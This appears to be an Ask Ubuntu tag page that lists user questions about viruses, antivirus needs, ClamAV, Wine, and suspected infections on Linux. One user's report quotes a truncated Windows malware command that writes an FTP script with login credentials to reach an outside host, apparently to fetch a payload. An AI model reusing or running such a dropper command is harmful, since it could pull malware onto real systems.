Viruses are malicious computer programs used to gather information and destroy other computers. Viruses spread over the Internet and removable media, etc.
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Do I need to have 'antivirus software' installed?
I thought that there was no need to scan for viruses in Ubuntu or any Linux distros until I found a virus scanner package named 'clamtk' and 'klamav' in Ubuntu software center yesterday.
This leads ...
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What is the Ubuntu “built in virus protection”?
At ubuntu.com there is this "only in ubuntu" that says "Built in virus protection":
What is the Ubuntu built it protection? What is the program in charge of this and how does it work?
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Is there any guarantee that software from Launchpad PPAs is free from viruses and backdoor threats?
As Linux continues to grow and develop, and the more we use Linux, the greater the threat from viruses.
We also know that a virus/threat in Linux (if any) would have difficulty running or spreading ...
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What if I run a virus/trojan Windows EXE on Ubuntu with Wine?
I've got a file said to contain information I was looking for. Unfortunately it is an executable instead of DOC (as it was meant to be) and the site I've download it from looks suspicious for me. If I ...
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How do I clear everything (data, viruses) from a thumbdrive?
Say I used some thumbdrive on a public Windows computer and I copy some data to my Ubuntu computer with it. I cannot be completely sure that the Windows computer was clean, and it might have put ...
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Is there a virus scanner for scanning Windows files?
I use Ubuntu as a file server, is there a virus scanner on Ubuntu for scanning Windows files? Since most of the files are saved on the server, this greatly help minimize the spread of viruses.
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An exe file that I want to run on linux made for windows comes up as a Trojan on VirusTotal - how would I run it without it affecting my system?
Is there any way that I can run this program on my Linux system without possibly getting a virus?
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Where should I start in tracking down Firefox malware
Switched my sister to Ubuntu because I got tired of re-installing the other OS every 6 months. Now she managed to get some malware in her Firefox on Ubuntu. Without access to the computer (or when I ...
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Why aren't viruses an issue? [duplicate]
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Do I need to have antivirus software installed on a Linux distro?
I'm using ubuntu right now and I think it's really good. Really. But I'm wondering about viruses. I ...
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Did I Somehow Get Infected with Spyware or Virus?
So I Was trying to Install Ubuntu restricted Extras, and well this poped up in the terminal.
www.actingcareersnow.comCasting Calls For Kids & Teens. Audition Now! Ages 9 to 29.
[1] 3241
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How do I scan for viruses with ClamAV?
I installed ClamAV via Terminal (Ctrl+Alt+T) with:
sudo apt-get install clamav
but how can I scan for viruses?
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Can a virus spread through DOSBox in Ubuntu?
I have a virus in several DOSBox msdos games. It doesn't seem to be affecting the Ubuntu files, but is spreading amongst my dosfiles that were opened in DOSBox. I don't know how to control this in the ...
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Is it risky to download a script with a http://goo.gl/ link?
Following the advise of an answer in Ask Ubuntu, I downloaded and ran a script with a URL starting by http://goo.gl/
Is it risky to use such file? could it be a virus or something else?
If yes, what ...
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“Successful su for user by root” - suspicious entries in my /var/log/auth.log?
This post on reddit made me go through my logs. That's when I discovered the following entries which appeared on two non-subsequent days. "user" is my user account.
Aug 4 22:50:37 UbuntuSystem sudo: ...
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Running Malwarebytes under Wine 1.2.2
How can I get Malwarebytes to run with wine under 10.04? I have wine version 1.2.2 at default settings. Is there anything specific I need to do in order to get Malwarebytes to run? I am using the ...
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What makes Ubuntu harder for viruses to infect [duplicate]
Possible Duplicate:
What is the Ubuntu “built in virus protection”?
One question I get asked a lot is why there are no viruses on Ubuntu (Linux in general). Even though it is ...
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How do I disinfect Ubuntu that is running a virus?
My 12.04 system has just been infected with a virus and it is self-replicating a load of rubbish directories in the /proc/ area.
This may crash my computer completely soon. I cannot delete any of ...
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watchdog/0 process using all my CPU suddenly
I have a fresh installation of Ubuntu 12.04, I have been running it for about a week. Suddenly today I noticed my computer freezes every 5 seconds. I restarted the computer and I still get this. I ...
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Are there keylogger viruses that affect Ubuntu?
I just within the last few hours had my Amazon and Gmail accounts hijacked. Purchases were made through my Amazon account that I didn't authorize...in fact, I wasn't even in my room. According to ...
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Nasty Ubuntu problem, possibly a virus
I'm not sure how much background to give. If it's too much or too little, I'll edit the post later.
(Also, it seems that bug-report questions - possibly including this one - might not get answered ...
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What is the best AntiVirus application available for non-technical users?
I am looking for an AntiVirus for Ubuntu, and have researched potential products. I do not want a paid product, but i do want a user friendly interface.
I do not want rants about how unnecessary it ...
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What is “safe” on linux? [closed]
I'm not a power user; I don't get too much time to learn about command lines. I'm using Ubuntu to browse the web, play the Steam for Linux beta, and do some image editing.
I recently installed ...
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How do I know if an app is safe to use?
Is there any reliable way to know if something that you install is safe? There are virus scanners like clamtk, but those only seem to focus on Windows files. Should I be concerned about viruses / ...
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Will I be prone to viruses? [duplicate]
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Do I need to have 'antivirus software' installed on Ubuntu?
I replaced windows because of the viruses and such. I was wondering if I had to worry much about them ...
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all .doc file auto changed to .exe in the network sharing folders
I have a ubuntu shared folder in my network using samba. but recently when I try to access the folders, I noticed almost 90% of all my .doc/.ppt/.xls file changed to .exe file.
I tried to list all ...
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Can Mal/JavaJar-B infect an Ubuntu/Linux OS?
I've just read about the Mal/JavaJar-B malware that is apparently capable of attacking OS X computers via a security hole in Java. I've also heard a few people mention that it can also affect Linux ...
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What are these unknown unauthorised network connections?
As soon as i start the computer it connects to a lot of different connections over internet, even when I haven't opened the browser. The screenshot from etherape is attached for better understanding
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Chkrootkit findings - what to do?
after my ubuntu runs slower and slower and google regularly asks me for prooving to be human, i had Chkrootkit running. here's what it found:
wlan0: PACKET SNIFFER
(/sbin/wpa_supplicant [870],
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Are there any spyware threats due to 3rd party plugins? [duplicate]
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Are “PPA's” safe to add to my system, and what are some “red flags” to watch out for?
I installed the plugin mentioned in the following link ...
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Antivirus softwares for ubuntu [duplicate]
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Do I need to have 'antivirus software' installed?
Yesterday in a certain web site I found that there are so many antivirus programs available for ubuntu.
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I'm whining about wine, windows and linux [duplicate]
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What if I run a virus/trojan Windows EXE on Ubuntu with Wine?
If I run a program that's windows (exe) on a linux system, find out that it was infected with a virus, will ...
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Does Ubuntu really need an anti-virus? [duplicate]
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Do I need to have antivirus software installed on a Linux distro?
Do i need install it anti-virus on ubuntu? or unnecessary? I just want to know this. please thanks.
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Banned from Ubuntu forums for spam. Could my Ubuntu have a virus?
My IP address has been banned from the Ubuntu forums for spam but I have no knowledge of the spam or what could be happening. I have been in touch with the admins there but they refuse to help ...
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Facebook advertisements open automatically even when the browser is not currently open
I tried to google the problem for a while and still couldn't find the solution.
My browser periodically open a new tab with a Facebook link even when the browser is not opening. First I guess that's ...
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Can I re-install windows without affecting Ubuntu?
I Installed Ubuntu 12.04 using Wubi.
I still use Windows 7 from time to time and now I think I have a virus on it (system crash twice a day without a reason)
My question is, If I will re-install ...
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virus script text typed automatically not only once in each session
Having been using ubuntu for about three months, I got occasionally automatic text running in my ubuntu, like this:
cmd /c echo open leeto.net23.net 21 >> ik &echo user a3094522 5454alcownz >> ik ...
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cannot remove AUTORUN.INF
recently installed ubuntu 12.04, so am considered a newb.
by chance, i found a autorun.inf virus from an old iso image i moved over from my old windows
out of curiousity, i tried to delete it but it ...
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How did I manage to spread an email worm?
Something sent a spam message from my gmail account to all the contacts in my google account.
Since I had changed the password for that account 5 days ago, and used that new password exclusively from ...
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Extra toolbar installed on my Chrome after making an ISO image
I have a Lenovo X220. It doesn't have a CD/DVD so I used your instructions of using "pendrive" USB installer. Everything went fine and now I have the ISO image on my USB stock.
The only thing is ...
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Chrome infected
I have Chrome browser installed and sometime in the last week it starts randomly open popup windows as I clicked in different sites. I suspect I'd been infected by some trojan.
I've scanned my ...
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How to stay safe in Ubuntu 12.04? From the bad guys [duplicate]
Possible Duplicate:
Why is Ubuntu more secure than Windows or Mac OS X?
I came over to Ubuntu again from Windows after I got infected by a RAT virus so I got some things which I would like ...
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Virus PUA.Script.PDF.EmbededJS-1
ClamTK reported a thread named PUA.Script.PDF.EmbededJS-1 when I scan my documents, but did not provide more details.
Is it a Windows virus or Linux virus, what this virus does, how this spreads?
I ...
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What is the label directory to scan hard drive for viruses?
I just downloaded avg antivirus for my pc with linux on it. I was wondering how to find the directory label for the hard drive. I found a page that said that "blkid" was for scanning usb devices. ...
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postfix tracing the origin of email [closed]
I seem to have a spam problem and I am not sure how to trace the origin of the problem
in my mail.log i can see hundreds of lines sending emails from unknown addresses to other domains... ...
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Is it safe to use a usb after formatting (even if it may have had a virus) [duplicate]
Okay I don't know if this is a smart question and I found this answer here How do I clear everything (data, viruses) from a thumbdrive?, and didn't understand it fully. I thought formatting a drive ...
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Why aren't there viruses in all Linux based systems? [duplicate]
Possible Duplicate:
Do I need to have antivirus software installed on Ubuntu?
I only need an article which explain why We don't have viruses in all Linux based systems? and also explain if ...
